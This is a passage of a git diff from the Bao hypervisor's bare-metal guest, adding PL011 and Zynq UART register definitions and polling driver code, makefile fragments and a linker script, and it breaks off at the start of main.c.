UART_RIS_RIRMIS (1 << 0) +#define UART_RIS_CTSRMIS (1 << 1) +#define UART_RIS_DCDRMIS (1 << 2) +#define UART_RIS_DSRRMIS (1 << 3) +#define UART_RIS_RXRIS (1 << 4) +#define UART_RIS_TXRIS (1 << 5) +#define UART_RIS_RTRIS (1 << 6) +#define UART_RIS_FERIS (1 << 7) +#define UART_RIS_PERIS (1 << 8) +#define UART_RIS_BERIS (1 << 9) +#define UART_RIS_OERIS (1 << 10) + +/* UART Masked Interrupt Status Register */ + +#define UART_MIS_RIMMIS (1 << 0) +#define UART_MIS_CTSMMIS (1 << 1) +#define UART_MIS_DCDMMIS (1 << 2) +#define UART_MIS_DSRMMIS (1 << 3) +#define UART_MIS_RXMIS (1 << 4) +#define UART_MIS_TXMIS (1 << 5) +#define UART_MIS_RTMIS (1 << 6) +#define UART_MIS_FEMIS (1 << 7) +#define UART_MIS_PEMIS (1 << 8) +#define UART_MIS_BEMIS (1 << 9) +#define UART_MIS_OEMIS (1 << 10) + +/* UART Interrupt Clear Register */ + +#define UART_ICR_RIMIC (1 << 0) +#define UART_ICR_CTSMIC (1 << 1) +#define UART_ICR_DCDMIC (1 << 2) +#define UART_ICR_DSRMIC (1 << 3) +#define UART_ICR_RXIC (1 << 4) +#define UART_ICR_TXIC (1 << 5) +#define UART_ICR_RTIC (1 << 6) +#define UART_ICR_FEIC (1 << 7) +#define UART_ICR_PEIC (1 << 8) +#define UART_ICR_BEIC (1 << 9) +#define UART_ICR_OEIC (1 << 10) + +/* UART DMA Control Register */ + +#define UART_DMACR_RXDMAE (1 << 0) +#define UART_DMACR_TXDMAE (1 << 1) +#define UART_DMACR_DMAONERR (1 << 2) + +/* For printk */ + +#define serial_puts(str_buffer) uart_puts(1,str_buffer) + +/* UART (PL011) register structure */ + +typedef struct +{ + volatile uint32_t data; // UART Data Register + volatile uint32_t status_error; // UART Receive Status Register/Error Clear Register + const uint32_t reserved1[4]; // Reserved: 4(0x4) bytes + volatile uint32_t flag; // UART Flag Register + const uint32_t reserved2[1]; // Reserved: 1(0x1) bytes + volatile uint32_t lp_counter; // UART Low-power Counter Register + volatile uint32_t integer_br; // UART Integer Baud Rate Register + volatile uint32_t fractional_br; // UART Fractional Baud Rate Register + volatile uint32_t line_control; // UART Line Control Register + volatile uint32_t control; // UART Control Register + volatile uint32_t isr_fifo_level_sel; // UART Interrupt FIFO level Select Register + volatile uint32_t isr_mask; // UART Interrupt Mask Set/Clear Register + volatile uint32_t raw_isr_status; // UART Raw Interrupt Status Register + volatile uint32_t masked_isr_status; // UART Masked Interrupt Status Register + volatile uint32_t isr_clear; // UART Interrupt Clear Register + volatile uint32_t DMA_control; // UART DMA control Register +} Pl011_Uart; + +/** Public PL011 UART interfaces */ + +void pl011_uart_disable(volatile Pl011_Uart * ptr_uart); +void pl011_uart_enable(volatile Pl011_Uart * ptr_uart); +void pl011_uart_set_baud_rate(volatile Pl011_Uart * ptr_uart, uint32_t baud_rate); +void pl011_uart_init(volatile Pl011_Uart * ptr_uart); +uint32_t pl011_uart_getc(volatile Pl011_Uart * ptr_uart); +void pl011_uart_putc(volatile Pl011_Uart * ptr_uart,int8_t c); +void pl011_uart_puts(volatile Pl011_Uart * ptr_uart,const char *s); + +#endif /* __PL011_UART_H_ */ diff --git a/bao-baremetal-guest/src/drivers/pl011_uart/pl011_uart.c b/bao-baremetal-guest/src/drivers/pl011_uart/pl011_uart.c new file mode 100644 index 0000000..68deab7 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/pl011_uart/pl011_uart.c @@ -0,0 +1,123 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include + + +void pl011_uart_disable(volatile Pl011_Uart * ptr_uart){ + + uint32_t ctrl_reg = ptr_uart->control; + ctrl_reg &= ((~UART_CR_UARTEN) | (~UART_CR_TXE) | (~UART_CR_RXE)); + ptr_uart->control = ctrl_reg; + +} + + +void pl011_uart_enable(volatile Pl011_Uart * ptr_uart){ + + uint32_t ctrl_reg = ptr_uart->control; + ctrl_reg |= (UART_CR_UARTEN | UART_CR_TXE | UART_CR_RXE); + ptr_uart->control = ctrl_reg; + +} + + +void pl011_uart_set_baud_rate(volatile Pl011_Uart * ptr_uart, uint32_t baud_rate){ + + uint32_t temp; + uint32_t ibrd; + uint32_t mod; + uint32_t fbrd; + + if(baud_rate == 0) + { + baud_rate = UART_BAUD_RATE; + } + + /* Set baud rate, IBRD = UART_CLK / (16 * BAUD_RATE) + FBRD = ROUND((64 * MOD(UART_CLK,(16 * BAUD_RATE))) / (16 * BAUD_RATE)) */ + temp = 16 * baud_rate; + ibrd = UART_CLK / temp; + mod = UART_CLK % temp; + fbrd = (4 * mod) / baud_rate; + + /* Set the values of the baudrate divisors */ + ptr_uart->integer_br = ibrd; + ptr_uart->fractional_br = fbrd; + +} + + +void pl011_uart_init(volatile Pl011_Uart * ptr_uart/*, uint32_t baud_rate*/) { + + int lcrh_reg; + + /* First, disable everything */ + ptr_uart->control = 0x0; + + /* Default baudrate = 115200 */ + uint32_t baud_rate = UART_BAUD_RATE; + pl011_uart_set_baud_rate(ptr_uart, baud_rate); + + /* Set the UART to be 8 bits, 1 stop bit and no parity, FIFOs disable*/ + ptr_uart->line_control = UART_LCR_WLEN_8; + + ptr_uart->data = 0x0; + while(ptr_uart->flag & UART_FR_BUSY); + + /* Enable RX */ + ptr_uart->control = (UART_CR_UARTEN | UART_CR_RXE | UART_CR_TXE); + + /* Clear interrupts */ + ptr_uart->isr_clear = 0xffff; + + /* Enable receive interrupts */ + ptr_uart->isr_mask = UART_MIS_RXMIS; + +} + + +uint32_t pl011_uart_getc(volatile Pl011_Uart * ptr_uart){ + + uint32_t data = 0; + + //wait until there is data in FIFO + while(!(ptr_uart->flag & UART_FR_RXFE)); + + data = ptr_uart->data; + return data; + +} + + +void pl011_uart_putc(volatile Pl011_Uart * ptr_uart,int8_t c){ + + //wait until txFIFO is not full + while(ptr_uart->flag & UART_FR_TXFF); + + ptr_uart->data = c; + +} + + +void pl011_uart_puts(volatile Pl011_Uart * ptr_uart,const char *s){ + + while (*s) + { + pl011_uart_putc(ptr_uart,*s++); + } + +} diff --git a/bao-baremetal-guest/src/drivers/pl011_uart/sources.mk b/bao-baremetal-guest/src/drivers/pl011_uart/sources.mk new file mode 100644 index 0000000..3fe0bae --- /dev/null +++ b/bao-baremetal-guest/src/drivers/pl011_uart/sources.mk @@ -0,0 +1,2 @@ +driver_c_srcs+=pl011_uart/pl011_uart.c +driver_s_srcs+= \ No newline at end of file diff --git a/bao-baremetal-guest/src/drivers/zynq_uart/inc/zynq_uart.h b/bao-baremetal-guest/src/drivers/zynq_uart/inc/zynq_uart.h new file mode 100644 index 0000000..0d05249 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/zynq_uart/inc/zynq_uart.h @@ -0,0 +1,298 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __UART_ZYNQ_H +#define __UART_ZYNQ_H + +#include +#include + +/** UART Interrupts ID*/ + +#define UART_0_INTERRUPT (53) +#define UART_1_INTERRUPT (54) + +/** Number of available UARTs */ + +#define NUM_UART (2) + +/** UART Control register configurations */ + +#define UART_CONTROL_STPBRK (0b1 << 8) // Stop transmitter break +#define UART_CONTROL_STTBRK (0b1 << 7) // Start transmitter break +#define UART_CONTROL_RSTTO (0b1 << 6) // Restart receiver timeout counter +#define UART_CONTROL_TXDIS (0b1 << 5) // Transmit disable +#define UART_CONTROL_TXEN (0b1 << 4) // Transmit enable +#define UART_CONTROL_RXDIS (0b1 << 3) // Receive disable +#define UART_CONTROL_RXEN (0b1 << 2) // Receive enable +#define UART_CONTROL_TXRES (0b1 << 1) // Software reset for Tx data path +#define UART_CONTROL_RXRES (0b1 << 0) // Software reset for Rx data path + +/** UART Mode Register configuration */ + +#define UART_MODE_CHMODE_N (0b00 << 8) // Channel mode (Normal) +#define UART_MODE_CHMODE_AE (0b01 << 8) // Channel mode (Automatic Echo) +#define UART_MODE_CHMODE_LL (0b10 << 8) // Channel mode (Local Loopback) +#define UART_MODE_CHMODE_RL (0b11 << 8) // Channel mode (Remote Loopback) +#define UART_MODE_NBSTOP_1 (0b00 << 6) // Number of stop bits (1) +#define UART_MODE_NBSTOP_1_5 (0b01 << 6) // Number of stop bits (1.5) +#define UART_MODE_NBSTOP_2 (0b10 << 6) // Number of stop bits (2) +#define UART_MODE_PAR_EP (0b000 << 3) // Parity type select (Even Parity) +#define UART_MODE_PAR_OP (0b001 << 3) // Parity type select (Odd Parity) +#define UART_MODE_PAR_F0P (0b010 << 3) // Parity type select (forced to 0 Parity, Space Parity Mode) +#define UART_MODE_PAR_F1P (0b011 << 3) // Parity type select (forced to 1 Parity, Mark Parity Mode) +#define UART_MODE_PAR_NP (0b100 << 3) // Parity type select (No Parity) +#define UART_MODE_CHRL_6 (0b11 << 1) // Character length select (6 bits) +#define UART_MODE_CHRL_7 (0b10 << 1) // Character length select (7 bits) +#define UART_MODE_CHRL_8 (0b00 << 1) // Character length select (8 bits) +#define UART_MODE_CHRL_REF (0b0 << 0) // Clock source select (clock source is xil_uart_ref_clk) +#define UART_MODE_CLKS_REF_8 (0b1 << 0) // Clock source select (clock source is xil_uart_ref_clk/8) + +/** UART Interrupt Enable Register configurations */ + +#define UART_ISR_EN_RBRK (0b1 << 13) // Receiver FIFO Break Detect interrupt (enable, clears mask=0) +#define UART_ISR_EN_TOVR (0b1 << 12) // Transmitter FIFO Overflow interrupt (enable, clears mask=0) +#define UART_ISR_EN_TNFUL (0b1 << 11) // Transmitter FIFO Nearly Full interrupt (enable, clears mask=0) +#define UART_ISR_EN_TTRIG (0b1 << 10) // Transmitter FIFO Trigger interrupt (enable, clears mask=0) +#define UART_ISR_EN_DMSI (0b1 << 9) // Delta Modem Status Indicator interrupt (enable, clears mask=0) +#define UART_ISR_EN_TIMEOUT (0b1 << 8) // Receiver Timeout Error interrupt (enable, clears mask=0) +#define UART_ISR_EN_PARE (0b1 << 7) // Receiver Parity Error interrupt (enable, clears mask=0) +#define UART_ISR_EN_FRAME (0b1 << 6) // Receiver Framing Error interrupt (enable, clears mask=0) +#define UART_ISR_EN_ROVR (0b1 << 5) // Receiver Overflow Error interrupt (enable, clears mask=0) +#define UART_ISR_EN_TFUL (0b1 << 4) // Transmitter FIFO Full interrupt (enable, clears mask=0) +#define UART_ISR_EN_TEMPTY (0b1 << 3) // Transmitter FIFO Empty interrupt (enable, clears mask=0) +#define UART_ISR_EN_RFUL (0b1 << 2) // Receiver FIFO Full interrupt (enable, clears mask=0) +#define UART_ISR_EN_REMPTY (0b1 << 1) // Receiver FIFO Empty interrupt (enable, clears mask=0) +#define UART_ISR_EN_RTRIG (0b1 << 0) // Receiver FIFO Trigger interrupt (enable, clears mask=0) + +/** UART Interrupt Disable Register configurations */ + +#define UART_ISR_DIS_RBRK (0b1 << 13) // Receiver FIFO Break Detect interrupt (disable, sets mask=1) +#define UART_ISR_DIS_TOVR (0b1 << 12) // Transmitter FIFO Overflow interrupt (disable, sets mask=1) +#define UART_ISR_DIS_TNFUL (0b1 << 11) // Transmitter FIFO Nearly Full interrupt (disable, sets mask=1) +#define UART_ISR_DIS_TTRIG (0b1 << 10) // Transmitter FIFO Trigger interrupt (disable, sets mask=1) +#define UART_ISR_DIS_DMSI (0b1 << 9) // Delta Modem Status Indicator interrupt (disable, sets mask=1) +#define UART_ISR_DIS_TIMEOUT (0b1 << 8) // Receiver Timeout Error interrupt (disable, sets mask=1) +#define UART_ISR_DIS_PARE (0b1 << 7) // Receiver Parity Error interrupt (disable, sets mask=1) +#define UART_ISR_DIS_FRAME (0b1 << 6) // Receiver Framing Error interrupt (disable, sets mask=1) +#define UART_ISR_DIS_ROVR (0b1 << 5) // Receiver Overflow Error interrupt (disable, sets mask=1) +#define UART_ISR_DIS_TFUL (0b1 << 4) // Transmitter FIFO Full interrupt (disable, sets mask=1) +#define UART_ISR_DIS_TEMPTY (0b1 << 3) // Transmitter FIFO Empty interrupt (disable, sets mask=1) +#define UART_ISR_DIS_RFUL (0b1 << 2) // Receiver FIFO Full interrupt (disable, sets mask=1) +#define UART_ISR_DIS_REMPTY (0b1 << 1) // Receiver FIFO Empty interrupt (disable, sets mask=1) +#define UART_ISR_DIS_RTRIG (0b1 << 0) // Receiver FIFO Trigger interrupt (disable, sets mask=1) + +/** UART Interrupt Mask Register configurations */ + +#define UART_ISR_MASK_RBRK (0b1 << 13) // Receiver FIFO Break Detect interrupt (enabled) +#define UART_ISR_MASK_TOVR (0b1 << 12) // Transmitter FIFO Overflow interrupt (enabled) +#define UART_ISR_MASK_TNFUL (0b1 << 11) // Transmitter FIFO Nearly Full interrupt (enabled) +#define UART_ISR_MASK_TTRIG (0b1 << 10) // Transmitter FIFO Trigger interrupt (enabled) +#define UART_ISR_MASK_DMSI (0b1 << 9) // Delta Modem Status Indicator interrupt (enabled) +#define UART_ISR_MASK_TIMEOUT (0b1 << 8) // Receiver Timeout Error interrupt (enabled) +#define UART_ISR_MASK_PARE (0b1 << 7) // Receiver Parity Error interrupt (enabled) +#define UART_ISR_MASK_FRAME (0b1 << 6) // Receiver Framing Error interrupt (enabled) +#define UART_ISR_MASK_ROVR (0b1 << 5) // Receiver Overflow Error interrupt (enabled) +#define UART_ISR_MASK_TFUL (0b1 << 4) // Transmitter FIFO Full interrupt (enabled) +#define UART_ISR_MASK_TEMPTY (0b1 << 3) // Transmitter FIFO Empty interrupt (enabled) +#define UART_ISR_MASK_RFUL (0b1 << 2) // Receiver FIFO Full interrupt (enabled) +#define UART_ISR_MASK_REMPTY (0b1 << 1) // Receiver FIFO Empty interrupt (enabled) +#define UART_ISR_MASK_RTRIG (0b1 << 0) // Receiver FIFO Trigger interrupt (enabled) + +/** UART Channel Interrupt Status Register configurations */ + +#define UART_ISR_STATUS_RBRK (0b1 << 13) // Receiver FIFO Break Detect interrupt (interrupt occured) +#define UART_ISR_STATUS_TOVR (0b1 << 12) // Transmitter FIFO Overflow interrupt (interrupt occurred) +#define UART_ISR_STATUS_TNFUL (0b1 << 11) // Transmitter FIFO Nearly Full interrupt (interrupt occurred) +#define UART_ISR_STATUS_TTRIG (0b1 << 10) // Transmitter FIFO Trigger interrupt (interrupt occurred) +#define UART_ISR_STATUS_DMSI (0b1 << 9) // Delta Modem Status Indicator interrupt (interrupt occurred) +#define UART_ISR_STATUS_TIMEOUT (0b1 << 8) // Receiver Timeout Error interrupt (interrupt occurred) +#define UART_ISR_STATUS_PARE (0b1 << 7) // Receiver Parity Error interrupt (interrupt occurred) +#define UART_ISR_STATUS_FRAME (0b1 << 6) // Receiver Framing Error interrupt (interrupt occurred) +#define UART_ISR_STATUS_ROVR (0b1 << 5) // Receiver Overflow Error interrupt (interrupt occurred) +#define UART_ISR_STATUS_TFUL (0b1 << 4) // Transmitter FIFO Full interrupt (interrupt occurred) +#define UART_ISR_STATUS_TEMPTY (0b1 << 3) // Transmitter FIFO Empty interrupt (interrupt occurred) +#define UART_ISR_STATUS_RFUL (0b1 << 2) // Receiver FIFO Full interrupt (interrupt occurred) +#define UART_ISR_STATUS_REMPTY (0b1 << 1) // Receiver FIFO Empty interrupt (interrupt occurred) +#define UART_ISR_STATUS_RTRIG (0b1 << 0) // Receiver FIFO Trigger interrupt (interrupt occurred) + +/** UART Baud Rate Generator Register */ + +#define UART_BR_GEN_DIS (0) // Baud Rate Clock Divisor Value (Disables baud_sample) +#define UART_BR_GEN_BYPASS (1) // Baud Rate Clock Divisor Value (Clock divisor bypass) + +/** UART Receiver Timeout Register */ + +#define UART_RX_TIMEOUT_DIS (0) // Receiver timeout value (Disables receiver timeout counter) + +/** UART Receiver FIFO Trigger Level Register */ + +#define UART_RX_FIFO_TRIG_DIS (0) // RX FIFO trigger level value (Disables RX FIFO trigger level function) + +/** UART Modem Control Register */ + +#define UART_MODEM_CTRL_FCM (0b1 << 5) // Automatic flow control mode (enable) +#define UART_MODEM_CTRL_RTS_FL1 (0b0 << 1) // Request to send output control (EMIOUARTxRTSN output forced to logic 1) +#define UART_MODEM_CTRL_RTS_FL0 (0b1 << 1) // Request to send output control (EMIOUARTxRTSN output forced to logic 0) +#define UART_MODEM_CTRL_DTR_FL1 (0b0 << 0) // Data Terminal Ready (EMIOUARTxDTRN output forced to logic 1) +#define UART_MODEM_CTRL_DTR_FL0 (0b1 << 0) // Data Terminal Ready (EMIOUARTxDTRN output forced to logic 0) + +/** UART Modem Status Register */ + +#define UART_MODEM_STATUS_FCMS (0b1 << 8) // Flow control mode (enabled) +#define UART_MODEM_STATUS_DCD_H (0b0 << 7) // Data Carrier Detect (DCD) input signal from PL(EMIOUARTxDCDN) status (input is high) +#define UART_MODEM_STATUS_DCD_L (0b1 << 7) // Data Carrier Detect (DCD) input signal from PL(EMIOUARTxDCDN) status (input is low) +#define UART_MODEM_STATUS_RI_H (0b0 << 6) // Ring Indicator (RI) input signal from PL(EMIOUARTxRIN) status (input is high) +#define UART_MODEM_STATUS_RI_L (0b1 << 6) // Ring Indicator (RI) input signal from PL(EMIOUARTxRIN) status (input is low) +#define UART_MODEM_STATUS_DSR_H (0b0 << 5) // Data Set Ready (DSR) input signal from PL(EMIOUARTxDSRN) status (input is high) +#define UART_MODEM_STATUS_DSR_L (0b1 << 5) // Data Set Ready (DSR) input signal from PL(EMIOUARTxDSRN) status (input is low) +#define UART_MODEM_STATUS_CTS_H (0b0 << 4) // Clear to Send (CTS) input signal from PL(EMIOUARTxCTSN) status (input is high) +#define UART_MODEM_STATUS_CTS_L (0b1 << 4) // Clear to Send (CTS) input signal from PL(EMIOUARTxCTSN) status (input is low) +#define UART_MODEM_STATUS_DDCD (0b1 << 3) // Delta Data Carrier Detect status (change has occurred) +#define UART_MODEM_STATUS_TERI (0b1 << 2) // Trailing Edge Ring Indicator status (Trailing edge has occurred) +#define UART_MODEM_STATUS_DDSR (0b1 << 1) // Delta Data Set Ready status (change has occurred) +#define UART_MODEM_STATUS_DCTS (0b1 << 0) // Delta Clear To Send status (change has occurred) + +/** UART Channel Status Register */ + +#define UART_CH_STATUS_TNFUL (1 << 14) //TX FIFO Nearly Full Status +#define UART_CH_STATUS_TTRIG (1 << 13) //TX FIFO Trigger Status +#define UART_CH_STATUS_FDELT (1 << 12) //RX FIFO fill over flow delay +#define UART_CH_STATUS_TACTIVE (1 << 11) //TX Active +#define UART_CH_STATUS_RACTIVE (1 << 10) //RX Active +#define UART_CH_STATUS_TFUL (1 << 4) //TX FIFO full +#define UART_CH_STATUS_TEMPTY (1 << 3) //TX FIFO empty +#define UART_CH_STATUS_RFUL (1 << 2) //RX FIFO full +#define UART_CH_STATUS_REMPTY (1 << 1) //RX FIFO empty +#define UART_CH_STATUS_RTRIG (1 << 0) //RX FIFO fill over trigger + +/** UART Baud Rate Divider Register */ + +#define UART_BR_DIV_DIS (0) // Baud rate divider value (0-3 ignored) + +/** UART Flow Control Delay Register */ + +#define UART_FLOW_CTRL_DL_DIS (0) // RxFIFO trigger level for Ready To Send (RTS)output signal (EMIOUARTxRTSN) de-assertion (0-3 disable) + +/** UART Transmitter FIFO Trigger Level Register */ + +#define UART_TX_FIFO_TRIG_DIS (0) // TX FIFO trigger level value (Disables TX FIFO trigger level function) + +/** UART Receiver FIFO Byte Status Register */ + +#define UART_RX_BS_BYTE3_BRKE (1 << 11) // Byte3 Break Error +#define UART_RX_BS_BYTE3_FRME (1 << 10) // Byte3 Frame Error +#define UART_RX_BS_BYTE3_PARE (1 << 9) // Byte3 Parity Error +#define UART_RX_BS_BYTE2_BRKE (1 << 8) // Byte2 Break Error +#define UART_RX_BS_BYTE2_FRME (1 << 7) // Byte2 Frame Error +#define UART_RX_BS_BYTE2_PARE (1 << 6) // Byte2 Parity Error +#define UART_RX_BS_BYTE1_BRKE (1 << 5) // Byte1 Break Error +#define UART_RX_BS_BYTE1_FRME (1 << 4) // Byte1 Frame Error +#define UART_RX_BS_BYTE1_PARE (1 << 3) // Byte1 Parity Error +#define UART_RX_BS_BYTE0_BRKE (1 << 2) // Byte0 Break Error +#define UART_RX_BS_BYTE0_FRME (1 << 1) // Byte0 Frame Error +#define UART_RX_BS_BYTE0_PARE (1 << 0) // Byte0 Parity Error + +/** UART Configs (Zynq Ultrascale+ MPSoC) */ + +#define UART_BAUD_RATE 115200 //115.2kbps +#define UART_FREQ_CLK 50000000 //100MHz +#define UART_MAX_ERROR 5 // 0.5% acceptable error (error%/10) +#define UART_RX_TRIGGER_LVL 1 // + +/** UART Configs for 115200 @100MHz */ + +#define UART_BDIV_115200 5 +#define UART_CD_115200 143 + +/** For printk */ + +#define serial_puts(str_buffer) xil_uart_puts(1,(const int8_t *)str_buffer) + +/** Zynq UART register structure */ + +typedef struct{ + /* UART Control register */ + /* 0x0000 */ + volatile uint32_t control; + /* UART Mode Register */ + /* 0x0004 */ + volatile uint32_t mode; + /* UART Interrupt Enable Register */ + /* 0x0008 */ + volatile uint32_t isr_en; + /* UART Interrupt Disable Register */ + /* 0x000C */ + volatile uint32_t isr_dis; + /* UART Interrupt Mask Register */ + /* 0x0010 */ + volatile uint32_t isr_mask; + /* UART Channel Interrupt Status Register */ + /* 0x0014 */ + volatile uint32_t isr_status; + /* UART Baud Rate Generator Register */ + /* 0x0018 */ + volatile uint32_t br_gen; + /* UART Receiver Time out Register */ + /* 0x001C */ + volatile uint32_t rx_timeout; + /* UART Receiver FIFO Trigger Level Register */ + /* 0x0020 */ + volatile uint32_t rx_fifo_trig; + /* UART Modem Control Register */ + /* 0x0024 */ + volatile uint32_t modem_ctrl; + /* UART Modem Status Register */ + /* 0x0028 */ + volatile uint32_t modem_status; + /* UART Channel Status Register */ + /* 0x002C */ + volatile uint32_t ch_status; + /* UART Transmit and Receive FIFO */ + /* 0x0030 */ + volatile uint32_t tx_rx_fifo; + /* UART Baud Rate Divider Register */ + /* 0x0034 */ + volatile uint32_t br_div; + /* UART Flow Control Delay Register */ + /* 0x0038 */ + volatile uint32_t flow_ctrl_dl; + /* Reserved: 2 words (0x8)*/ + /* 0x003C */ + const uint32_t reserved[2]; + /* UART Transmitter FIFO Trigger Level Register */ + /* 0x0044 */ + volatile uint32_t tx_fifo_trig; + /* UART Transmitter FIFO Trigger Level Register */ + /* 0x0048 */ + volatile uint32_t rx_fifo_byte; + +} volatile Xil_Uart; + +/** Public Zynq UART interfaces */ + +bool xil_uart_init(Xil_Uart* uart); +void xil_uart_enable(Xil_Uart* uart); +void xil_uart_disable(Xil_Uart* uart); +bool xil_uart_set_baud_rate(Xil_Uart* uart, uint32_t baud_rate); +uint32_t xil_uart_getc(Xil_Uart* uart); +void xil_uart_putc(Xil_Uart* uart,int8_t c); +void xil_uart_puts(Xil_Uart* uart,const char *s); +void xil_uart_clear_rxbuf(Xil_Uart* uart); +void xil_uart_enable_irq(Xil_Uart* uart, uint32_t irq); +void xil_uart_clear_irq(Xil_Uart* uart, uint32_t irq); + +#endif /* __UART_ZYNQ_H */ diff --git a/bao-baremetal-guest/src/drivers/zynq_uart/sources.mk b/bao-baremetal-guest/src/drivers/zynq_uart/sources.mk new file mode 100644 index 0000000..6573c7e --- /dev/null +++ b/bao-baremetal-guest/src/drivers/zynq_uart/sources.mk @@ -0,0 +1,2 @@ +driver_c_srcs+=zynq_uart/zynq_uart.c +driver_s_srcs+= \ No newline at end of file diff --git a/bao-baremetal-guest/src/drivers/zynq_uart/zynq_uart.c b/bao-baremetal-guest/src/drivers/zynq_uart/zynq_uart.c new file mode 100644 index 0000000..c51a255 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/zynq_uart/zynq_uart.c @@ -0,0 +1,145 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include + +bool xil_uart_init(Xil_Uart* uart) +{ + uint32_t ret; + + ret = xil_uart_set_baud_rate(uart, UART_BAUD_RATE); + if (ret == false) { + return false; + } + + /* Set the level of the RxFIFO trigger level */ + uart->rx_fifo_trig = UART_RX_TRIGGER_LVL; + /* Program the Receiver Timeout Mechanism (Disabled) */ + uart->rx_timeout = UART_RX_TIMEOUT_DIS; + + /* Clear all the interrupts in Interrupt Status Register */ + uart->isr_status = 0xFFFFFFFF; + /* Enable RxFIFO Trigger Interrupt */ + uart->isr_en = UART_ISR_EN_RTRIG; + + /** Enable (closer to Reset) the Controller */ + uart->control |= + (UART_CONTROL_STPBRK | UART_CONTROL_RXRES | UART_CONTROL_TXRES); + + return true; +} + +void xil_uart_enable(Xil_Uart* uart) +{ + uint32_t ctrl_reg = uart->control; + + ctrl_reg = (UART_CONTROL_STPBRK | UART_CONTROL_TXEN | UART_CONTROL_RXEN | + UART_CONTROL_RXRES | UART_CONTROL_TXRES); + + uart->control = ctrl_reg; +} + +void xil_uart_disable(Xil_Uart* uart) +{ + uint32_t ctrl_reg = uart->control; + + ctrl_reg = (UART_CONTROL_STPBRK | UART_CONTROL_TXDIS | UART_CONTROL_RXDIS); + + uart->control = ctrl_reg; +} + +bool xil_uart_set_baud_rate(Xil_Uart* uart, uint32_t baud_rate) +{ + // uint32_t sel_clk = UART_FREQ_CLK; + uint8_t bdiv = 0; + uint16_t cd_calc = 0; + + /** Handling corner case */ + if (baud_rate == 0) { + baud_rate = UART_BAUD_RATE; + } + + /* baud_rate = sel_clk / (CD * (BDIV+1)) + * baud_rate -> Baud Rate + * sel_clk -> Selected Clock + * CD -> Baud Rate Generator + * BDIV -> Baud Rate Divider + */ + // TODO - Add support for auto Baud Rate generation */ + bdiv = UART_BDIV_115200; + cd_calc = UART_CD_115200; + + /** Configure the Baud Rate */ + /* Disable the Rx and Tx path */ + uart->control = (UART_CONTROL_RXDIS | UART_CONTROL_TXDIS); + /* Write the calculated CD value */ + uart->br_gen = cd_calc; + /* Write the calculated BDIV value */ + uart->br_div = bdiv; + /* Reset Tx and Rx paths */ + uart->control = (UART_CONTROL_TXRES | UART_CONTROL_RXRES); + /* Enable the Rx and Tx path */ + uart->control = (UART_CONTROL_TXEN | UART_CONTROL_RXEN); + + return true; +} + +uint32_t xil_uart_getc(Xil_Uart* uart) +{ + uint32_t data = 0; + + // Chose one of the following: (Trigger Level or Not Empty) + /* Wait until RxFIFO is filled up to the trigger level */ + while (!uart->ch_status & UART_CH_STATUS_RTRIG) + ; + /* Wait until RxFIFO is not empty */ + // while(!uart->ch_status & UART_CH_STATUS_REMPTY); + + data = uart->tx_rx_fifo; + + return data; +} + +void xil_uart_putc(Xil_Uart* uart, int8_t c) +{ + /* Wait until txFIFO is not full */ + while (uart->ch_status & UART_CH_STATUS_TFUL) + ; + + uart->tx_rx_fifo = c; +} + +void xil_uart_puts(Xil_Uart* uart, const char* s) +{ + while (*s) { + xil_uart_putc(uart, *s++); + } +} + +void xil_uart_enable_irq(Xil_Uart* uart, uint32_t irq){ + uart->isr_en = irq; + uart->isr_mask |= irq; +} + +void xil_uart_clear_irq(Xil_Uart* uart, uint32_t irq){ + uart->isr_status = irq; +} + +void xil_uart_clear_rxbuf(Xil_Uart* uart){ + while(uart->ch_status & UART_CH_STATUS_RTRIG){ + (void)xil_uart_getc(uart); + } +} diff --git a/bao-baremetal-guest/src/linker.ld b/bao-baremetal-guest/src/linker.ld new file mode 100644 index 0000000..16cb684 --- /dev/null +++ b/bao-baremetal-guest/src/linker.ld @@ -0,0 +1,56 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include + +MEMORY { + RAM (rwx) : ORIGIN = PLAT_MEM_BASE, LENGTH = PLAT_MEM_SIZE +} + +ENTRY(_start) + +SECTIONS { + + .start : { + *(.start) + } + + .text : { + *(.text*) + } + + .rodata : { + *(.rodata*) + } + + .data : { + *(.data .data.*) + PROVIDE(__global_pointer$ = . + 0x800); + *(.sdata .sdata.* .sdata2.*) + } + + .bss (NOLOAD) : { + __bss_start = .; + *(.bss* .sbss*) + *(COMMON) + __bss_end = .; + } + + . = ALIGN(16); + PROVIDE(_stack_base = .); + . = . + 2M; /* 2M of total stack size */ + PROVIDE(_heap_base = .); +} diff --git a/bao-baremetal-guest/src/main.c b/bao-baremetal-guest/src/main.c new file mode 100644 index 0000000..b5b423e --- /dev/null +++ b/bao-baremetal-guest/src/main.c @@ -0,0 +1,284 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory 